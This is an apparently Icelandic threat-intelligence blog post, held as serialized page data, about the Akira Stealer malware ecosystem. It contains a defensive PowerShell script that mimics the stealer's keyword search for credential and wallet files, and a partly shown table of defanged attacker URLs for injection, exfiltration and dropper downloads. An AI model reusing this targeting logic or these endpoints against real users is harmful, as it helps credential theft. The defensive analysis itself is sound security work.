",[1411,11179,11162],{},[1396,11181,4685,11182,4685,11185,4685,11188,4685,11191,4685,11195,4685,11207,4680],{},[1411,11183,11184],{},"Input_3",[1411,11186,11187],{},"2024-03-06",[1411,11189,11190],{},"0.77089346",[1411,11192,11132,11193,4685],{},[1685,11194,11136],{"title":11135},[1411,11196,11139,11197,11200,11201,11139,11203,11206],{},[550,11198,11199],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[697,11202],{},[550,11204,11205],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1411,11208,11190],{},[1396,11210,4685,11211,4685,11214,4685,11216,4685,11218,4685,11222,4685,11232,4680],{},[1411,11212,11213],{},"Input_4",[1411,11215,11187],{},[1411,11217,11190],{},[1411,11219,11132,11220,4685],{},[1685,11221,11136],{"title":11135},[1411,11223,11139,11224,11200,11227,11139,11229,11206],{},[550,11225,11226],{},"LUFLTrqYpix...",[697,11228],{},[550,11230,11231],{},"La22dfH9eM...",[1411,11233,11190],{},[826,11235],{"className":11236},[829,830],[527,11238,11240],{"id":11239},"_10-innan-akira-vistkerfisins-netbrotainnviðir-í-viðskiptaskyni","10. Innan Akira-vistkerfisins – netbrotainnviðir í viðskiptaskyni",[532,11242,534],{},[532,11244,11245],{},"Akira er ekki bara stealer, það er hjarta blómlegs undirheimavistkerfis sem hannað er til að einfalda, skala og fjárnýta netbrot.",[713,11247,11249],{"id":11248},"_101-plug-and-play-vistkerfi-fyrir-ógnaraðila","10.1 Plug-and-play vistkerfi fyrir ógnaraðila",[532,11251,719],{},[532,11253,11254],{},"Akira-vistkerfið er dæmi um það hvernig netbrot hafa þróast í fagmannlegt og þjónustudrifið hagkerfi. Í því eru:",[603,11256,11257,11266,11272,11278,11284],{},[606,11258,11259,11262,11263,1111],{},[539,11260,11261],{},"Builder-bottar"," til að búa til payloads eftir þörfum (t.d. ",[550,11264,11265],{},"@AkiraRedBot",[606,11267,11268,11271],{},[539,11269,11270],{},"Telegram-rásir"," fyrir uppfærslur, beiðnir um eiginleika og þjónustu við viðskiptavini",[606,11273,11274,11277],{},[539,11275,11276],{},"Sjálfvirk leyfis- og greiðsluumsjón",", oft í gegnum einkaskeyti eða nafnlausa netverslunarpalla eins og Sellix",[606,11279,11280,11283],{},[539,11281,11282],{},"Einingar í búntum"," svo sem klippiborðsyfirtökur, Discord-token-loggarar, stealers fyrir browsergögn og jafnvel ransomware-viðbætur",[606,11285,11286,11289],{},[539,11287,11288],{},"Sérstillanleg payloads"," með uppsetningarviðmótum sem leyfa rofa, webhook-inntak og eigin táknmyndir",[532,11291,11292],{},[747,11293],{"alt":11294,"src":11295},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[713,11297,11299],{"id":11298},"_102-fjárnýting-netbrota","10.2 Fjárnýting netbrota",[532,11301,719],{},[532,11303,11304],{},"Uppbygging Akira endurspeglar breiðari þróun í átt að \"Malware-as-a-Service\" (MaaS), þar sem:",[603,11306,11307,11313,11319,11325],{},[606,11308,11309,11312],{},[539,11310,11311],{},"Engrar djúprar tækniþekkingar"," er þörf til að hefja árásir",[606,11314,11315,11318],{},[539,11316,11317],{},"Aðgangskostnaður er lágur"," ($75 fyrir 3 mánuði, $150 til æviloka)",[606,11320,11321,11324],{},[539,11322,11323],{},"Stuðningur og skjölun eru samstundis"," í gegnum Telegram",[606,11326,11327,11330],{},[539,11328,11329],{},"Framlög samfélagsins"," víkka Akira reglulega út með scriptum og tillögum um eiginleika",[532,11332,11333],{},"Þetta vistkerfi speglar lögmæt SaaS-viðskiptamódel, með changelogs, endurbótum á notendaupplifun, verðþrepum og viðbótarsölu.",[532,11335,11336],{},[747,11337],{"alt":11338,"src":11339},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[713,11341,11343],{"id":11342},"_103-umfram-stealerinn-hlutar-vistkerfisins","10.3 Umfram stealerinn – hlutar vistkerfisins",[532,11345,719],{},[532,11347,1716,11348,11350],{},[550,11349,581],{}," sé hjarta margra árása býður vistkerfið upp á alla keðjuna:",[603,11352,11353,11356,11359,11362,11365],{},[606,11354,11355],{},"Obfuskunartól eins og PyInstaller-wrappers",[606,11357,11358],{},"Skráabindara til að tengja illgjarna payloads við meinlausan hugbúnað",[606,11360,11361],{},"Þýðendur, crypters og fjölbreytileika á keyrslutíma",[606,11363,11364],{},"Hýsingarspegla til afhendingar payloads og exfiltration (t.d. GoFile, AnonFiles)",[606,11366,11367],{},"Gagnaumsjónarbotta sem draga saman stolin credentials og vélbúnaðarprófíla",[532,11369,11370],{},[747,11371],{"alt":11372,"src":11373},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[527,11375,11377],{"id":11376},"_11-akira-stealer-quickcheck-skrár-sem-urðu-fyrir-árásinni","11. Akira Stealer QuickCheck: skrár sem urðu fyrir árásinni",[532,11379,534],{},[713,11381,11383],{"id":11382},"_111-til-hvers-er-þetta","11.1 Til hvers er þetta?",[532,11385,719],{},[532,11387,11388,11389,619,11392,619,11395,557,11398,11401],{},"Eftir meinta Akira Stealer-sýkingu er afgerandi að vita samstundis hvaða skrár á kerfinu þínu voru í hættu á að verða exfiltreraðar. QuickCheck PowerShell-scriptið sem lýst er hér fyrir ofan endurgerir nákvæmlega leitarrökvísi Akira: það skannar möppurnar ",[539,11390,11391],{},"Desktop",[539,11393,11394],{},"Documents",[539,11396,11397],{},"Downloads",[539,11399,11400],{},"OneDrive"," hjá notandanum að skrám sem:",[603,11403,11404,11419,11422],{},[606,11405,11406,11407,619,11410,619,11413,8756,11416],{},"Innihalda viðkvæm leitarorð í skráarheitinu, svo sem ",[550,11408,11409],{},"password",[550,11411,11412],{},"wallet",[550,11414,11415],{},"backup",[550,11417,11418],{},"token",[606,11420,11421],{},"Hafa tiltekna skráarendingu sem algengt er að beinst sé að (.txt, .docx, .pdf, .jpg og fleira)",[606,11423,11424],{},"Eru undir 2 MB stærðarþakinu sem malware-ið setur",[532,11426,11427,11428,11431],{},"Þótt QuickCheck gefi hratt yfirlit byggt á innri rökvísi Akira Stealer ",[539,11429,11430],{},"kemur það ekki í staðinn"," fyrir heildstæð forensic-verkfæri eða faglega incident response. Fylgdu alltaf eftir með dýpri greiningu þegar staðfest innbrot eru annars vegar.",[532,11433,11434,11435,619,11438,619,11441,557,11444,585],{},"Það birtir svo raðaða töflu með ",[539,11436,11437],{},"skráarheiti",[539,11439,11440],{},"hlutfallslegri slóð",[539,11442,11443],{},"stærð (KB)",[539,11445,11446],{},"leitarorðinu sem kveikti",[820,11448,11449],{},[532,11450,11451,11454,11455,11458,11459,11461,11462,11465],{},[539,11452,11453],{},"FYRIRVARI","\nÞetta tól er látið í té ",[539,11456,11457],{},"“as is”"," án nokkurrar ábyrgðar á heilleika eða hæfi til tiltekins tilgangs. Það tryggir ",[539,11460,1579],{}," að ",[539,11463,11464],{},"allar"," hugsanlega viðkvæmar skrár finnist og kemur ekki í staðinn fyrir fulla malware-forensic. Notkun er á eigin ábyrgð.",[826,11467],{"className":11468},[829],[713,11470,11472],{"id":11471},"lagalegur-fyrirvari","Lagalegur fyrirvari",[532,11474,719],{},[532,11476,11477,11478,11481,11482,11485],{},"Þetta QuickCheck-tól er eingöngu ætlað til mats í ",[539,11479,11480],{},"defensive security",". Óheimil skönnun eða notkun á kerfum sem þú átt ekki getur brotið lög um einkalíf, höfundarrétt eða misnotkun tölvukerfa. glueckkanja AG tekur á sig ",[539,11483,11484],{},"enga ábyrgð"," á misnotkun eða skaða sem hlýst af notkun þess.",[713,11487,11489],{"id":11488},"powershell-script","PowerShell-script",[532,11491,719],{},[587,11493,11495],{"className":1679,"code":11494,"language":1681,"meta":593,"style":593},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[550,11496,11497,11502,11507,11512,11516,11521,11526,11531,11536,11541,11546,11550,11555,11560,11565,11569,11574,11579,11583,11588,11593,11598,11603,11608,11612,11617,11622,11627,11631,11635,11640,11644,11649,11653,11658,11663,11668,11673,11678,11683,11688,11692,11697,11702,11707,11712,11717,11722,11727,11732,11737,11741,11746,11751,11755,11760,11765,11770,11775,11780,11785,11790,11795,11799,11803,11807,11812,11816,11821,11826,11831,11835,11840,11845,11850,11855,11860,11865,11870,11876,11881,11887,11892,11898,11904,11909,11914,11920],{"__ignoreMap":593},[1685,11498,11499],{"class":1687,"line":1688},[1685,11500,11501],{},"\u003C#\n",[1685,11503,11504],{"class":1687,"line":2064},[1685,11505,11506],{},".SYNOPSIS\n",[1685,11508,11509],{"class":1687,"line":2070},[1685,11510,11511],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1685,11513,11514],{"class":1687,"line":2076},[1685,11515,3852],{"emptyLinePlaceholder":325},[1685,11517,11518],{"class":1687,"line":2398},[1685,11519,11520],{},".DESCRIPTION\n",[1685,11522,11523],{"class":1687,"line":2404},[1685,11524,11525],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1685,11527,11528],{"class":1687,"line":3060},[1685,11529,11530],{},"      • Contain one of the defined keywords in their name\n",[1685,11532,11533],{"class":1687,"line":3855},[1685,11534,11535],{},"      • Have an allowed file extension\n",[1685,11537,11538],{"class":1687,"line":3861},[1685,11539,11540],{},"      • Are not larger than 2 MB\n",[1685,11542,11543],{"class":1687,"line":4106},[1685,11544,11545],{},"    Presents the results in a colored, tabular overview.\n",[1685,11547,11548],{"class":1687,"line":5023},[1685,11549,3852],{"emptyLinePlaceholder":325},[1685,11551,11552],{"class":1687,"line":5029},[1685,11553,11554],{},".NOTES\n",[1685,11556,11557],{"class":1687,"line":5035},[1685,11558,11559],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1685,11561,11562],{"class":1687,"line":5041},[1685,11563,11564],{},"#>\n",[1685,11566,11567],{"class":1687,"line":5047},[1685,11568,3852],{"emptyLinePlaceholder":325},[1685,11570,11571],{"class":1687,"line":5053},[1685,11572,11573],{},"# -------------------------------------\n",[1685,11575,11576],{"class":1687,"line":5059},[1685,11577,11578],{},"# 1. Configuration\n",[1685,11580,11581],{"class":1687,"line":5065},[1685,11582,11573],{},[1685,11584,11585],{"class":1687,"line":5071},[1685,11586,11587],{},"$scanFolders = @(\n",[1685,11589,11590],{"class":1687,"line":5077},[1685,11591,11592],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1685,11594,11595],{"class":1687,"line":5083},[1685,11596,11597],{},"    \"$env:USERPROFILE\\Documents\",\n",[1685,11599,11600],{"class":1687,"line":5089},[1685,11601,11602],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1685,11604,11605],{"class":1687,"line":5095},[1685,11606,11607],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1685,11609,11610],{"class":1687,"line":5101},[1685,11611,5242],{},[1685,11613,11614],{"class":1687,"line":5107},[1685,11615,11616],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1685,11618,11619],{"class":1687,"line":5774},[1685,11620,11621],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1685,11623,11624],{"class":1687,"line":5779},[1685,11625,11626],{},"$maxSize    = 2MB\n",[1685,11628,11629],{"class":1687,"line":5784},[1685,11630,3852],{"emptyLinePlaceholder":325},[1685,11632,11633],{"class":1687,"line":5789},[1685,11634,11573],{},[1685,11636,11637],{"class":1687,"line":5795},[1685,11638,11639],{},"# 2. Scan and Collect Matches\n",[1685,11641,11642],{"class":1687,"line":5800},[1685,11643,11573],{},[1685,11645,11646],{"class":1687,"line":5805},[1685,11647,11648],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1685,11650,11651],{"class":1687,"line":5810},[1685,11652,3852],{"emptyLinePlaceholder":325},[1685,11654,11655],{"class":1687,"line":5815},[1685,11656,11657],{},"foreach ($folder in $scanFolders) {\n",[1685,11659,11660],{"class":1687,"line":5820},[1685,11661,11662],{},"    if (-not (Test-Path $folder)) { continue }\n",[1685,11664,11665],{"class":1687,"line":5825},[1685,11666,11667],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1685,11669,11670],{"class":1687,"line":5831},[1685,11671,11672],{},"        # 2.1 Extension filter\n",[1685,11674,11675],{"class":1687,"line":5837},[1685,11676,11677],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1685,11679,11680],{"class":1687,"line":5843},[1685,11681,11682],{},"        # 2.2 Size filter\n",[1685,11684,11685],{"class":1687,"line":5848},[1685,11686,11687],{},"        if ($_.Length -gt $maxSize) { return }\n",[1685,11689,11690],{"class":1687,"line":5853},[1685,11691,3852],{"emptyLinePlaceholder":325},[1685,11693,11694],{"class":1687,"line":5858},[1685,11695,11696],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1685,11698,11699],{"class":1687,"line":5863},[1685,11700,11701],{},"        $hit = $null\n",[1685,11703,11704],{"class":1687,"line":5869},[1685,11705,11706],{},"        foreach ($kw in $keywords) {\n",[1685,11708,11709],{"class":1687,"line":5874},[1685,11710,11711],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1685,11713,11714],{"class":1687,"line":5879},[1685,11715,11716],{},"                $hit = $kw\n",[1685,11718,11719],{"class":1687,"line":5884},[1685,11720,11721],{},"                break\n",[1685,11723,11724],{"class":1687,"line":5889},[1685,11725,11726],{},"            }\n",[1685,11728,11729],{"class":1687,"line":5894},[1685,11730,11731],{},"        }\n",[1685,11733,11734],{"class":1687,"line":5899},[1685,11735,11736],{},"        if (-not $hit) { return }\n",[1685,11738,11739],{"class":1687,"line":5905},[1685,11740,3852],{"emptyLinePlaceholder":325},[1685,11742,11743],{"class":1687,"line":5911},[1685,11744,11745],{},"        # 2.4 Build relative path\n",[1685,11747,11748],{"class":1687,"line":5917},[1685,11749,11750],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1685,11752,11753],{"class":1687,"line":5923},[1685,11754,3852],{"emptyLinePlaceholder":325},[1685,11756,11757],{"class":1687,"line":5928},[1685,11758,11759],{},"        # 2.5 Collect\n",[1685,11761,11762],{"class":1687,"line":5933},[1685,11763,11764],{},"        $matches.Add([PSCustomObject]@{\n",[1685,11766,11767],{"class":1687,"line":5939},[1685,11768,11769],{},"            FileName    = $_.Name\n",[1685,11771,11772],{"class":1687,"line":5945},[1685,11773,11774],{},"            Location    = $rel\n",[1685,11776,11777],{"class":1687,"line":5951},[1685,11778,11779],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1685,11781,11782],{"class":1687,"line":5957},[1685,11783,11784],{},"            Keyword     = $hit\n",[1685,11786,11787],{"class":1687,"line":5962},[1685,11788,11789],{},"        })\n",[1685,11791,11792],{"class":1687,"line":5967},[1685,11793,11794],{},"    }\n",[1685,11796,11797],{"class":1687,"line":5973},[1685,11798,2407],{},[1685,11800,11801],{"class":1687,"line":5978},[1685,11802,3852],{"emptyLinePlaceholder":325},[1685,11804,11805],{"class":1687,"line":5983},[1685,11806,11573],{},[1685,11808,11809],{"class":1687,"line":5989},[1685,11810,11811],{},"# 3. Display Results\n",[1685,11813,11814],{"class":1687,"line":5995},[1685,11815,11573],{},[1685,11817,11818],{"class":1687,"line":6001},[1685,11819,11820],{},"clear\n",[1685,11822,11823],{"class":1687,"line":6006},[1685,11824,11825],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1685,11827,11828],{"class":1687,"line":6012},[1685,11829,11830],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1685,11832,11833],{"class":1687,"line":6018},[1685,11834,3852],{"emptyLinePlaceholder":325},[1685,11836,11837],{"class":1687,"line":6023},[1685,11838,11839],{},"if ($matches.Count -gt 0) {\n",[1685,11841,11842],{"class":1687,"line":6029},[1685,11843,11844],{},"    $matches |\n",[1685,11846,11847],{"class":1687,"line":6035},[1685,11848,11849],{},"        Sort-Object Location, FileName |\n",[1685,11851,11852],{"class":1687,"line":6040},[1685,11853,11854],{},"        Format-Table -AutoSize `\n",[1685,11856,11857],{"class":1687,"line":6045},[1685,11858,11859],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1685,11861,11862],{"class":1687,"line":6050},[1685,11863,11864],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1685,11866,11867],{"class":1687,"line":6056},[1685,11868,11869],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1685,11871,11873],{"class":1687,"line":11872},79,[1685,11874,11875],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1685,11877,11879],{"class":1687,"line":11878},80,[1685,11880,3852],{"emptyLinePlaceholder":325},[1685,11882,11884],{"class":1687,"line":11883},81,[1685,11885,11886],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1685,11888,11890],{"class":1687,"line":11889},82,[1685,11891,2407],{},[1685,11893,11895],{"class":1687,"line":11894},83,[1685,11896,11897],{},"else {\n",[1685,11899,11901],{"class":1687,"line":11900},84,[1685,11902,11903],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1685,11905,11907],{"class":1687,"line":11906},85,[1685,11908,2407],{},[1685,11910,11912],{"class":1687,"line":11911},86,[1685,11913,3852],{"emptyLinePlaceholder":325},[1685,11915,11917],{"class":1687,"line":11916},87,[1685,11918,11919],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1685,11921,11923],{"class":1687,"line":11922},88,[1685,11924,11925],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[826,11927],{"className":11928},[829,830],[527,11930,11932],{"id":11931},"_12-umfram-viðbrögð-hvernig-glueckkanja-csoc-breytir-atvikum-í-þekkingu","12. Umfram viðbrögð – hvernig glueckkanja CSOC breytir atvikum í þekkingu",[532,11934,534],{},[532,11936,11937,11938],{},"Flest security operations centers láta staðar numið við innilokun.\n",[539,11939,11940],{},"Við gerum það ekki.",[532,11942,11943],{},"Hjá glueckkanja CSOC lítum við á incident response ekki sem endamarkið heldur upphafspunktinn.",[532,11945,11946],{},"Þegar aðrir lýsa yfir sigri og halda á braut köfum við dýpra. Fyrir okkur er hvert atvik tækifæri til að læra, aðlagast og verða sterkari. Óþreytandi forvitni okkar, keyrð af margra ára djúpri forensic-sérþekkingu og reverse engineering getu, tryggir að við verjumst ekki aðeins, við sjáum fram í tímann.",[532,11948,11949,11950,585],{},"Þessi hugsun er ástæðan fyrir því að við byggðum ",[539,11951,11952],{},"Akira Compromise Reporter",[532,11954,11955],{},"Þetta forensic-tól, sem við þróuðum sjálf, gengur langt lengra en grunn-detection og nýtir nána þekkingu okkar á Akira Stealer til að gefa algeran skýrleika um hvaða gögn hafa verið kompromíseruð. Á fáum mínútum framleiðir það nákvæma mynd af öllum áhrifum atviksins sem hægt er að vinna með:",[603,11957,11958,11961,11964],{},[606,11959,11960],{},"Nákvæmlega hvaða credentials, tokens og browser-setum var stolið.",[606,11962,11963],{},"Nákvæmlega hvaða kryptóveski, skilaboðareikningar og skrár lágu opin.",[606,11965,11966],{},"Skýra, skipulagða og ítarlega forensic-skýrslu, sem breytir óvissu í tafarlausar og upplýstar aðgerðir.",[532,11968,11969],{},[747,11970],{"alt":11971,"src":11972},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[532,11974,11975],{},"Því hjá glueckkanja mælum við árangur okkar ekki aðeins í blokkuðum ógnum heldur í þeim skýrleika sem við skilum. Cybersecurity, rétt unnin, snýst ekki um að bregðast við atvikum, hún snýst um að skilja, aðlagast og vera alltaf einu skrefi framar.",[532,11977,11978],{},[539,11979,11980],{},"Það er það sem greinir glueckkanja CSOC frá öðrum.",[527,11982,11984],{"id":11983},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[532,11986,534],{},[532,11988,11989],{},"Hér fyrir neðan er heildstætt safn IOC, orðrétt eins og þau voru dregin beint úr malware-kóðanum við reverse engineering-vinnu okkar innanhúss hjá glueckkanja CSOC. Engar tilgátur og engar utanaðkomandi threat intel-heimildir voru notaðar, allir indikatorar eru staðfestar niðurstöður. Öllum URL er obfuskerað af ásettu ráði til að hindra að klikkað sé á þau fyrir slysni.",[532,11991,11992],{},[539,11993,11994],{},"Skammstafanir:",[603,11996,11997,12003],{},[606,11998,11999,12002],{},[539,12000,12001],{},"TG:"," Telegram-tilkynningarás",[606,12004,12005,12008],{},[539,12006,12007],{},"Alt:"," annar (vara) endapunktur",[713,12010,12012],{"id":12011},"_1-lén-og-url","1. Lén og URL",[532,12014,719],{},[1390,12016,4680,12018],{"className":12017,"style":11093},[11092],[1406,12019,12020,4680,12032,4680,12045,4680,12058,4680,12071,4680,12084,4680,12097,4680,12110,4680,12125,4680,12141,4680,12154,4680,12167,4680,12180,4680,12193,4680,12206,4680,12219,4680,12232,4680,12245,4680,12258,4680,12271,4680,12285,4680,12298],{},[1396,12021,4685,12022,4685,12026,4685,12030,4680],{},[1399,12023,12025],{"style":12024},"text-align: left; width: 18%;","Flokkur",[1399,12027,12029],{"style":12028},"text-align: left; width: 52%;","Obfuskerað URL",[1399,12031,4852],{},[1396,12033,4685,12034,4685,12037,4685,12042,4680],{},[1411,12035,12036],{},"Aðalinnspýting",[1411,12038,12039],{},[550,12040,12041],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1411,12043,12044],{},"Upphaflegur webhook-endapunktur árásaraðilans",[1396,12046,4685,12047,4685,12050,4685,12055,4680],{},[1411,12048,12049],{},"Innspýting á varaleið",[1411,12051,12052],{},[550,12053,12054],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1411,12056,12057],{},"Annar innspýtingarendapunktur",[1396,12059,4685,12060,4685,12063,4685,12068,4680],{},[1411,12061,12062],{},"Villutilkynningar (TG)",[1411,12064,12065],{},[550,12066,12067],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1411,12069,12070],{},"URL fyrir villu- og loggtilkynningar á Telegram",[1396,12072,4685,12073,4685,12076,4685,12081,4680],{},[1411,12074,12075],{},"Villutilkynningar (Alt)",[1411,12077,12078],{},[550,12079,12080],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1411,12082,12083],{},"Annað URL fyrir villu- og loggtilkynningar",[1396,12085,4685,12086,4685,12089,4685,12094,4680],{},[1411,12087,12088],{},"Vanity-bot (TG)",[1411,12090,12091],{},[550,12092,12093],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1411,12095,12096],{},"Endapunktur fyrir tilkynningar um vanity-heimilisföng",[1396,12098,4685,12099,4685,12102,4685,12107,4680],{},[1411,12100,12101],{},"Vanity-bot (Alt)",[1411,12103,12104],{},[550,12105,12106],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1411,12108,12109],{},"Annar endapunktur fyrir vanity-tilkynningar",[1396,12111,4685,12112,4685,12115,4685,12120,4680],{},[1411,12113,12114],{},"Exodus-innspýting",[1411,12116,12117],{},[550,12118,12119],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1411,12121,12122,12123],{},"Electron-eining forritsins ",[550,12124,4585],{},[1396,12126,4685,12127,4685,12130,4685,12135,4680],{},[1411,12128,12129],{},"Atomic-innspýting",[1411,12131,12132],{},[550,12133,12134],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1411,12136,12137,12138],{},"Electron-eining ",[550,12139,12140],{},"AtomicWallet",[1396,12142,4685,12143,4685,12146,4685,12151,4680],{},[1411,12144,12145],{},"Niðurhal Updater",[1411,12147,12148],{},[550,12149,12150],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1411,12152,12153],{},"Keyranleg dropper-skrá fyrir persistence",[1396,12155,4685,12156,4685,12159,4685,12164,4680],{},[1411,12157,12158],{},"Gofile API-listi",[1411,12160,12161],{},[550,12162,12163],{},"https[:]//api.gofile[.]io/servers",[1411,12165,12166],{},"Sækir besta upphalsserver GoFile",[1396,12168,4685,12169,4685,12172,4685,12177,4680],{},[1411,12170,12171],{},"Athugun Discord-tokens",[1411,12173,12174],{},[550,12175,12176],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1411,12178,12179],{},"Staðfestir stolið Discord-token",[1396,12181,4685,12182,4685,12185,4685,12190,4680],{},[1411,12183,12184],{},"Greiðsluupplýsingar Discord",[1411,12186,12187],{},[550,12188,12189],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1411,12191,12192],{},"Sækir greiðsluaðferðir",[1396,12194,4685,12195,4685,12198,4685,12203,4680],{},[1411,12196,12197],{},"Replay á Google-OAuth",[1411,12199,12200],{},[550,12201,12202],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1411,12204,12205],{},"Endurspilar stolin Google-setutokens",[1396,12207,4685,12208,4685,12211,4685,12216,4680],{},[1411,12209,12210],{},"IP-athugun (hosting)",[1411,12212,12213],{},[550,12214,12215],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1411,12217,12218],{},"Detection á hýsingarumhverfi",[1396,12220,4685,12221,4685,12224,4685,12229,4680],{},[1411,12222,12223],{},"IP-uppflettingar (geo)",[1411,12225,12226],{},[550,12227,12228],{},"http[:]//ip-api[.]com/json/{ip}",[1411,12230,12231],{},"Staðsetning út frá IP",[1396,12233,4685,12234,4685,12237,4685,12242,4680],{},[1411,12235,12236],{},"Sókn opinbers IP",[1411,12238,12239],{},[550,12240,12241],{},"https[:]//api[.]ipify[.]org",[1411,12243,12244],{},"Sækir ytri IP-tölu",[1396,12246,4685,12247,4685,12250,4685,12255,4680],{},[1411,12248,12249],{},"Upphal á File.io",[1411,12251,12252],{},[550,12253,12254],{},"https[:]//file[.]io/",[1411,12256,12257],{},"Önnur exfiltration-rás",[1396,12259,4685,12260,4685,12263,4685,12268,4680],{},[1411,12261,12262],{},"Upphal á Oshi.at",[1411,12264,12265],{},[550,12266,12267],{},"http[:]//oshi[.]at/",[1411,12269,12270],{},"Þriðja exfiltration-rás",[1396,12272,4685,12273,4685,12276,4685,12282,4680],{},[1411,12274,12275],{},"JS-dropper, aðalleið",[1411,12277,12278],{},[692,12279,12281],{"href":12280,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1411,12283,12284],{},"Fjartengd 